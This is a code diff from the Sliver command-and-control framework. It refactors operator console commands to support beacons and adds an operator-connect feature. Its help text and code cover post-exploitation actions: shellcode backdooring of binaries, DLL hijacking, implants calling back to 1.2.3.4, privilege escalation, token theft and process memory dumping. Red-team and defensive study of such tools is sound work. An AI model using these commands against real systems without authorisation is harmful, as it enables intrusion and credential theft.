|
||||
To create such a profile, use the [[.Bold]]profiles new[[.Normal]] command:
|
||||
|
||||
new-profile --format service --skip-symbols --mtls a.bc.de --profile-name win-svc64
|
||||
profiles new --format service --skip-symbols --mtls a.bc.de --profile-name win-svc64
|
||||
|
||||
Once the profile has been created, run the [[.Bold]]psexec[[.Normal]] command:
|
||||
|
||||
@@ -442,7 +442,7 @@ The [[.Bold]]psexec[[.Normal]] command will use the credentials of the Windows u
|
||||
[[.Bold]]About:[[.Normal]] Inject a sliver shellcode into an existing file on the target system.
|
||||
[[.Bold]]Example:[[.Normal]] backdoor --profile windows-shellcode "c:\windows\system32\calc.exe"
|
||||
|
||||
[[.Bold]]Remark:[[.Normal]] you must first create a profile that will serve as your base shellcode, with the following command: new-profile --format shellcode --profile-name whatever --http ab.cd
|
||||
[[.Bold]]Remark:[[.Normal]] you must first create a profile that will serve as your base shellcode, with the following command: profiles new --format shellcode --profile-name whatever --http ab.cd
|
||||
`
|
||||
makeTokenHelp = `[[.Bold]]Command:[[.Normal]] make-token -u USERNAME -d DOMAIN -p PASSWORD
|
||||
[[.Bold]]About:[[.Normal]] Creates a new Logon Session from the specified credentials and impersonate the resulting token.
|
||||
@@ -654,7 +654,7 @@ supplied with the --profile flag.
|
||||
dllhijack --reference-path c:\\windows\\system32\\msasn1.dll --file /tmp/blah.dll c:\\users\\bob\\appdata\\slack\\app-4.18.0\\msasn1.dll
|
||||
|
||||
# Use a Sliver generated DLL for the hijack
|
||||
new-profile --format shared --mtls 1.2.3.4:1234 --profile-name dll
|
||||
profiles new --format shared --mtls 1.2.3.4:1234 --profile-name dll
|
||||
dllhijack --reference-path c:\\windows\\system32\\msasn1.dll --profile dll c:\\users\\bob\\appdata\\slack\\app-4.18.0\\msasn1.dll
|
||||
|
||||
# Use a local DLL as the reference DLL
|
||||
|
||||
@@ -28,6 +28,7 @@ import (
|
||||
"text/tabwriter"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
@@ -59,14 +60,14 @@ func HostsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
|
||||
func hostsTable(hosts []*clientpb.Host, con *console.SliverConsoleClient) string {
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(table.StyleLight)
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
tw.AppendHeader(table.Row{
|
||||
"ID",
|
||||
"Hostname",
|
||||
"Operating System",
|
||||
"Sessions",
|
||||
"IOCs",
|
||||
"Extension Data",
|
||||
"ID (Short)",
|
||||
})
|
||||
for _, host := range hosts {
|
||||
var shortID string
|
||||
@@ -76,12 +77,12 @@ func hostsTable(hosts []*clientpb.Host, con *console.SliverConsoleClient) string
|
||||
shortID = host.HostUUID[:8]
|
||||
}
|
||||
tw.AppendRow(table.Row{
|
||||
shortID,
|
||||
host.Hostname,
|
||||
host.OSVersion,
|
||||
hostSessionNumbers(host.HostUUID, con),
|
||||
len(host.IOCs),
|
||||
len(host.ExtensionData),
|
||||
shortID,
|
||||
})
|
||||
}
|
||||
return tw.Render()
|
||||
@@ -99,6 +100,7 @@ func hostSessionNumbers(hostUUID string, con *console.SliverConsoleClient) strin
|
||||
return strings.Join(sessionNumbers, ", ")
|
||||
}
|
||||
|
||||
// SessionsForHost - Find session for a given host by id
|
||||
func SessionsForHost(hostUUID string, con *console.SliverConsoleClient) []*clientpb.Session {
|
||||
sessions, err := con.Rpc.GetSessions(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
|
||||
+53
-22
@@ -21,22 +21,16 @@ package info
|
||||
import (
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
consts "github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// InfoCmd - Display information about the active session
|
||||
func InfoCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
|
||||
var session *clientpb.Session
|
||||
sessionName := ctx.Args.String("session")
|
||||
if con.ActiveSession.GetInteractive() != nil {
|
||||
session = con.ActiveSession.GetInteractive()
|
||||
} else if sessionName != "" {
|
||||
session = con.GetSession(sessionName)
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
|
||||
if session != nil {
|
||||
con.Printf(console.Bold+" ID: %s%d\n", console.Normal, session.ID)
|
||||
con.Printf(console.Bold+" Name: %s%s\n", console.Normal, session.Name)
|
||||
@@ -51,8 +45,29 @@ func InfoCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.Printf(console.Bold+" Arch: %s%s\n", console.Normal, session.Arch)
|
||||
con.Printf(console.Bold+" Remote Address: %s%s\n", console.Normal, session.RemoteAddress)
|
||||
con.Printf(console.Bold+" Proxy URL: %s%s\n", console.Normal, session.ProxyURL)
|
||||
con.Printf(console.Bold+" Poll Interval: %s%d\n", console.Normal, session.PollInterval)
|
||||
con.Printf(console.Bold+" Poll Timeout: %s%d\n", console.Normal, session.PollTimeout)
|
||||
con.Printf(console.Bold+"Reconnect Interval: %s%d\n", console.Normal, session.ReconnectInterval)
|
||||
|
||||
} else if beacon != nil {
|
||||
|
||||
con.Printf(console.Bold+" ID: %s%s\n", console.Normal, beacon.ID)
|
||||
con.Printf(console.Bold+" Name: %s%s\n", console.Normal, beacon.Name)
|
||||
con.Printf(console.Bold+" Hostname: %s%s\n", console.Normal, beacon.Hostname)
|
||||
con.Printf(console.Bold+" UUID: %s%s\n", console.Normal, beacon.UUID)
|
||||
con.Printf(console.Bold+" Username: %s%s\n", console.Normal, beacon.Username)
|
||||
con.Printf(console.Bold+" UID: %s%s\n", console.Normal, beacon.UID)
|
||||
con.Printf(console.Bold+" GID: %s%s\n", console.Normal, beacon.GID)
|
||||
con.Printf(console.Bold+" PID: %s%d\n", console.Normal, beacon.PID)
|
||||
con.Printf(console.Bold+" OS: %s%s\n", console.Normal, beacon.OS)
|
||||
con.Printf(console.Bold+" Version: %s%s\n", console.Normal, beacon.Version)
|
||||
con.Printf(console.Bold+" Arch: %s%s\n", console.Normal, beacon.Arch)
|
||||
con.Printf(console.Bold+" Remote Address: %s%s\n", console.Normal, beacon.RemoteAddress)
|
||||
con.Printf(console.Bold+" Proxy URL: %s%s\n", console.Normal, beacon.ProxyURL)
|
||||
con.Printf(console.Bold+" Interval: %s%d\n", console.Normal, beacon.Interval)
|
||||
con.Printf(console.Bold+" Jitter: %s%d\n", console.Normal, beacon.Jitter)
|
||||
// con.Printf(console.Bold+" Poll Timeout: %s%d\n", console.Normal, beacon.PollTimeout)
|
||||
// con.Printf(console.Bold+"Reconnect Interval: %s%d\n", console.Normal, beacon.ReconnectInterval)
|
||||
|
||||
} else {
|
||||
con.PrintErrorf("No target session, see `help %s`\n", consts.InfoStr)
|
||||
}
|
||||
@@ -60,36 +75,52 @@ func InfoCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
|
||||
// PIDCmd - Get the active session's PID
|
||||
func PIDCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveSession.GetInteractive()
|
||||
if session == nil {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
con.Printf("%d\n", session.PID)
|
||||
if session != nil {
|
||||
con.Printf("%d\n", session.PID)
|
||||
} else if beacon != nil {
|
||||
con.Printf("%d\n", beacon.PID)
|
||||
}
|
||||
}
|
||||
|
||||
// UIDCmd - Get the active session's UID
|
||||
func UIDCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveSession.GetInteractive()
|
||||
if session == nil {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
con.Printf("%s\n", session.UID)
|
||||
if session != nil {
|
||||
con.Printf("%s\n", session.UID)
|
||||
} else if beacon != nil {
|
||||
con.Printf("%s\n", beacon.UID)
|
||||
}
|
||||
}
|
||||
|
||||
// GIDCmd - Get the active session's GID
|
||||
func GIDCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveSession.GetInteractive()
|
||||
if session == nil {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
con.Printf("%s\n", session.GID)
|
||||
if session != nil {
|
||||
con.Printf("%s\n", session.GID)
|
||||
} else if beacon != nil {
|
||||
con.Printf("%s\n", beacon.GID)
|
||||
}
|
||||
}
|
||||
|
||||
// WhoamiCmd - Displays the current user of the active session
|
||||
func WhoamiCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveSession.GetInteractive()
|
||||
if session == nil {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
con.Printf("%s\n", session.Username)
|
||||
if session != nil {
|
||||
con.Printf("%s\n", session.Username)
|
||||
} else if beacon != nil {
|
||||
con.Printf("%s\n", beacon.Username)
|
||||
}
|
||||
}
|
||||
@@ -11,7 +11,7 @@ import (
|
||||
|
||||
// PingCmd - Send a round trip C2 message to an implant (does not use ICMP)
|
||||
func PingCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveSession.GetInteractive()
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
@@ -20,7 +20,7 @@ func PingCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.PrintInfof("Ping %d\n", nonce)
|
||||
pong, err := con.Rpc.Ping(context.Background(), &sliverpb.Ping{
|
||||
Nonce: int32(nonce),
|
||||
Request: con.ActiveSession.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
|
||||
@@ -33,7 +33,7 @@ import (
|
||||
|
||||
// LootAddRemoteCmd - Add a file from the remote system to the server as loot
|
||||
func LootAddRemoteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveSession.GetInteractive()
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
@@ -60,7 +60,7 @@ func LootAddRemoteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.SpinUntil(fmt.Sprintf("Looting remote file %s", remotePath), ctrl)
|
||||
|
||||
download, err := con.Rpc.Download(context.Background(), &sliverpb.DownloadReq{
|
||||
Request: con.ActiveSession.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Path: remotePath,
|
||||
})
|
||||
if err != nil {
|
||||
|
||||
@@ -185,7 +185,7 @@ func LoadMacroCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
}
|
||||
|
||||
func runMacroCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveSession.GetInteractive()
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
@@ -246,7 +246,7 @@ func runMacroCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
|
||||
con.SpinUntil(msg, ctrl)
|
||||
executeAssemblyResp, err := con.Rpc.ExecuteAssembly(context.Background(), &sliverpb.ExecuteAssemblyReq{
|
||||
Request: con.ActiveSession.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
IsDLL: isDLL,
|
||||
Process: processName,
|
||||
Arguments: extArgs,
|
||||
@@ -272,7 +272,7 @@ func runMacroCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
|
||||
con.SpinUntil(msg, ctrl)
|
||||
spawnDllResp, err := con.Rpc.SpawnDll(context.Background(), &sliverpb.InvokeSpawnDllReq{
|
||||
Request: con.ActiveSession.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Args: strings.Trim(extArgs, " "),
|
||||
Data: binData,
|
||||
ProcessName: processName,
|
||||
@@ -297,7 +297,7 @@ func runMacroCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
|
||||
con.SpinUntil(msg, ctrl)
|
||||
sideloadResp, err := con.Rpc.Sideload(context.Background(), &sliverpb.SideloadReq{
|
||||
Request: con.ActiveSession.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Args: extArgs,
|
||||
Data: binData,
|
||||
EntryPoint: entryPoint,
|
||||
|
||||
@@ -31,13 +31,13 @@ import (
|
||||
|
||||
// IfconfigCmd - Display network interfaces on the remote system
|
||||
func IfconfigCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveSession.GetInteractive()
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
|
||||
ifconfig, err := con.Rpc.Ifconfig(context.Background(), &sliverpb.IfconfigReq{
|
||||
Request: con.ActiveSession.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
|
||||
@@ -31,7 +31,7 @@ import (
|
||||
|
||||
// NetstatCmd - Display active network connections on the remote system
|
||||
func NetstatCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveSession.GetInteractive()
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
@@ -43,7 +43,7 @@ func NetstatCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
udp := ctx.Flags.Bool("udp")
|
||||
|
||||
netstat, err := con.Rpc.Netstat(context.Background(), &sliverpb.NetstatReq{
|
||||
Request: con.ActiveSession.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
TCP: tcp,
|
||||
UDP: udp,
|
||||
Listening: listening,
|
||||
@@ -72,7 +72,7 @@ func displayEntries(entries []*sliverpb.SockTabEntry, con *console.SliverConsole
|
||||
}
|
||||
|
||||
con.Printf("Proto %-23s %-23s %-12s %-16s\n", "Local Addr", "Foreign Addr", "State", "PID/Program name")
|
||||
session := con.ActiveSession.GetInteractive()
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
for _, e := range entries {
|
||||
p := ""
|
||||
if e.Process != nil {
|
||||
@@ -95,6 +95,6 @@ func isSliverAddr(dstAddr string, con *console.SliverConsoleClient) bool {
|
||||
if len(parts) != 3 {
|
||||
return false
|
||||
}
|
||||
c2Addr := strings.Split(con.ActiveSession.GetInteractive().ActiveC2, "://")[1]
|
||||
c2Addr := strings.Split(con.ActiveTarget.GetSessionInteractive().ActiveC2, "://")[1]
|
||||
return strings.Join(parts[:2], ":") == c2Addr
|
||||
}
|
||||
@@ -10,7 +10,7 @@ import (
|
||||
|
||||
// NamedPipeListenerCmd - Start a named pipe pivot listener on the remote system
|
||||
func NamedPipeListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveSession.GetInteractive()
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
@@ -28,7 +28,7 @@ func NamedPipeListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient
|
||||
|
||||
_, err := con.Rpc.NamedPipes(context.Background(), &sliverpb.NamedPipesReq{
|
||||
PipeName: pipeName,
|
||||
Request: con.ActiveSession.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
|
||||
if err != nil {
|
||||
|
||||
@@ -44,7 +44,7 @@ func PivotsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
}
|
||||
printPivots(session, int64(timeout), con)
|
||||
} else {
|
||||
session := con.ActiveSession.Get()
|
||||
session := con.ActiveTarget.GetSession()
|
||||
if session != nil {
|
||||
printPivots(session, int64(timeout), con)
|
||||
} else {
|
||||
|
||||
@@ -11,7 +11,7 @@ import (
|
||||
|
||||
// TCPListenerCmd - Start a TCP pivot listener on the remote system
|
||||
func TCPListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveSession.GetInteractive()
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
@@ -22,7 +22,7 @@ func TCPListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
|
||||
_, err := con.Rpc.TCPListener(context.Background(), &sliverpb.TCPPivotReq{
|
||||
Address: address,
|
||||
Request: con.ActiveSession.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
|
||||
if err != nil {
|
||||
|
||||
@@ -31,7 +31,7 @@ import (
|
||||
|
||||
// PortfwdAddCmd - Add a new tunneled port forward
|
||||
func PortfwdAddCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveSession.GetInteractive()
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
|
||||
@@ -0,0 +1,63 @@
|
||||
package operator
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/prelude"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
func ConnectCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
url := ctx.Args.String("connection-string")
|
||||
aesKey := ctx.Flags.String("aes-key")
|
||||
agentRange := ctx.Flags.String("range")
|
||||
skipExisting := ctx.Flags.Bool("skip-existing")
|
||||
|
||||
config := &prelude.OperatorConfig{
|
||||
Range: agentRange,
|
||||
OperatorURL: url,
|
||||
RPC: con.Rpc,
|
||||
AESKey: aesKey,
|
||||
}
|
||||
|
||||
sessionMapper := prelude.InitSessionMapper(config)
|
||||
|
||||
con.PrintInfof("Connected to Operator at %s\n", url)
|
||||
if !skipExisting {
|
||||
sessions, err := con.Rpc.GetSessions(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
con.PrintErrorf("Could not get session list: %s", err)
|
||||
return
|
||||
}
|
||||
if len(sessions.Sessions) > 0 {
|
||||
con.PrintInfof("Adding existing sessions ...\n")
|
||||
for _, sess := range sessions.Sessions {
|
||||
err = sessionMapper.AddSession(sess)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Could not add session %s to session mapper: %s", sess.Name, err)
|
||||
}
|
||||
}
|
||||
con.PrintInfof("Done !\n")
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,8 +1,8 @@
|
||||
package c2
|
||||
package operator
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
@@ -19,34 +19,15 @@ package c2
|
||||
*/
|
||||
|
||||
import (
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"testing"
|
||||
|
||||
"github.com/bishopfox/sliver/server/certs"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/prelude"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
func TestRsaKeyHandler(t *testing.T) {
|
||||
|
||||
certs.SetupCAs()
|
||||
|
||||
req, err := http.NewRequest("GET", "/test/foo.txt", nil)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
server, err := StartHTTPSListener(&HTTPServerConfig{
|
||||
Addr: "127.0.0.1:8888",
|
||||
})
|
||||
if err != nil {
|
||||
t.Errorf("Listener failed to start %s", err)
|
||||
func OperatorCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
if prelude.SessionMapper != nil {
|
||||
con.PrintInfof("Connected to Operator at %s\n", prelude.SessionMapper.GetConfig().OperatorURL)
|
||||
return
|
||||
}
|
||||
rr := httptest.NewRecorder()
|
||||
handler := http.HandlerFunc(server.rsaKeyHandler)
|
||||
handler.ServeHTTP(rr, req)
|
||||
if status := rr.Code; status != http.StatusOK {
|
||||
t.Errorf("handler returned wrong status code: got %v want %v", status, http.StatusOK)
|
||||
}
|
||||
|
||||
con.PrintInfof("Not connected to any Operator server. Use `operator connect` to connect to one.")
|
||||
}
|
||||
@@ -31,7 +31,7 @@ import (
|
||||
func GetPrivsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
var processName string = "Current Process"
|
||||
|
||||
session := con.ActiveSession.GetInteractive()
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
@@ -42,7 +42,7 @@ func GetPrivsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
}
|
||||
|
||||
privs, err := con.Rpc.GetPrivs(context.Background(), &sliverpb.GetPrivsReq{
|
||||
Request: con.ActiveSession.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
|
||||
if err != nil {
|
||||
|
||||
@@ -28,7 +28,7 @@ import (
|
||||
|
||||
// GetSystemCmd - Windows only, attempt to get SYSTEM on the remote system
|
||||
func GetSystemCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveSession.GetInteractive()
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
@@ -38,7 +38,7 @@ func GetSystemCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.SpinUntil("Attempting to create a new sliver session as 'NT AUTHORITY\\SYSTEM'...", ctrl)
|
||||
|
||||
getsystemResp, err := con.Rpc.GetSystem(context.Background(), &clientpb.GetSystemReq{
|
||||
Request: con.ActiveSession.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Config: config,
|
||||
HostingProcess: process,
|
||||
})
|
||||
|
||||
@@ -28,13 +28,13 @@ import (
|
||||
|
||||
// ImpersonateCmd - Windows only, impersonate a user token
|
||||
func ImpersonateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveSession.GetInteractive()
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
username := ctx.Args.String("username")
|
||||
impResp, err := con.Rpc.Impersonate(context.Background(), &sliverpb.ImpersonateReq{
|
||||
Request: con.ActiveSession.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Username: username,
|
||||
})
|
||||
|
||||
|
||||
@@ -28,7 +28,7 @@ import (
|
||||
|
||||
// MakeTokenCmd - Windows only, create a token using "valid" credentails
|
||||
func MakeTokenCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveSession.GetInteractive()
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
@@ -45,7 +45,7 @@ func MakeTokenCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.SpinUntil("Creating new logon session ...", ctrl)
|
||||
|
||||
makeToken, err := con.Rpc.MakeToken(context.Background(), &sliverpb.MakeTokenReq{
|
||||
Request: con.ActiveSession.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Username: username,
|
||||
Domain: domain,
|
||||
Password: password,
|
||||
|
||||
@@ -28,12 +28,12 @@ import (
|
||||
|
||||
// RevToSelfCmd - Drop any impersonated tokens
|
||||
func RevToSelfCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveSession.GetInteractive()
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
_, err := con.Rpc.RevToSelf(context.Background(), &sliverpb.RevToSelfReq{
|
||||
Request: con.ActiveSession.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
|
||||
if err != nil {
|
||||
|
||||
@@ -28,7 +28,7 @@ import (
|
||||
|
||||
// RunAsCmd - Run a command as another user on the remote system
|
||||
func RunAsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveSession.GetInteractive()
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
@@ -47,7 +47,7 @@ func RunAsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
}
|
||||
|
||||
runAsResp, err := con.Rpc.RunAs(context.Background(), &sliverpb.RunAsReq{
|
||||
Request: con.ActiveSession.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Username: username,
|
||||
ProcessName: process,
|
||||
Args: arguments,
|
||||
|
||||
@@ -31,7 +31,7 @@ import (
|
||||
|
||||
// ProcdumpCmd - Dump the memory of a remote process
|
||||
func ProcdumpCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveSession.GetInteractive()
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
@@ -55,7 +55,7 @@ func ProcdumpCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
ctrl := make(chan bool)
|
||||
con.SpinUntil("Dumping remote process memory ...", ctrl)
|
||||
dump, err := con.Rpc.ProcessDump(context.Background(), &sliverpb.ProcessDumpReq{
|
||||
Request: con.ActiveSession.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Pid: int32(pid),
|
||||
Timeout: int32(ctx.Flags.Int("timeout") - 1),
|
||||
})
|
||||
|
||||
@@ -46,7 +46,7 @@ var (
|
||||
|
||||
// PsCmd - List processes on the remote system
|
||||
func PsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveSession.GetInteractive()
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
@@ -56,7 +56,7 @@ func PsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
ownerFilter := ctx.Flags.String("owner")
|
||||
|
||||
ps, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{
|
||||
Request: con.ActiveSession.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
@@ -140,7 +140,7 @@ func printProcInfo(table *tabwriter.Writer, proc *commonpb.Process, cmdLine bool
|
||||
if modifyColor, ok := knownProcs[proc.Executable]; ok {
|
||||
color = modifyColor
|
||||
}
|
||||
session := con.ActiveSession.GetInteractive()
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session != nil && proc.Pid == session.PID {
|
||||
color = console.Green
|
||||
}
|
||||
@@ -170,7 +170,7 @@ func printProcInfo(table *tabwriter.Writer, proc *commonpb.Process, cmdLine bool
|
||||
// GetPIDByName - Get a PID by name from the active session
|
||||
func GetPIDByName(ctx *grumble.Context, name string, con *console.SliverConsoleClient) int {
|
||||
ps, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{
|
||||
Request: con.ActiveSession.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
if err != nil {
|
||||
return -1
|
||||
|
||||
@@ -28,14 +28,14 @@ import (
|
||||
|
||||
// TerminateCmd - Terminate a process on the remote system
|
||||
func TerminateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveSession.GetInteractive()
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
|
||||
pid := ctx.Args.Uint("pid")
|
||||
terminated, err := con.Rpc.Terminate(context.Background(), &sliverpb.TerminateReq{
|
||||
Request: con.ActiveSession.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Pid: int32(pid),
|
||||
Force: ctx.Flags.Bool("force"),
|
||||
})
|
||||
|
||||
@@ -29,7 +29,7 @@ import (
|
||||
|
||||
// RegCreateKeyCmd - Create a new Windows registry key
|
||||
func RegCreateKeyCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveSession.Get()
|
||||
session := con.ActiveTarget.GetSession()
|
||||
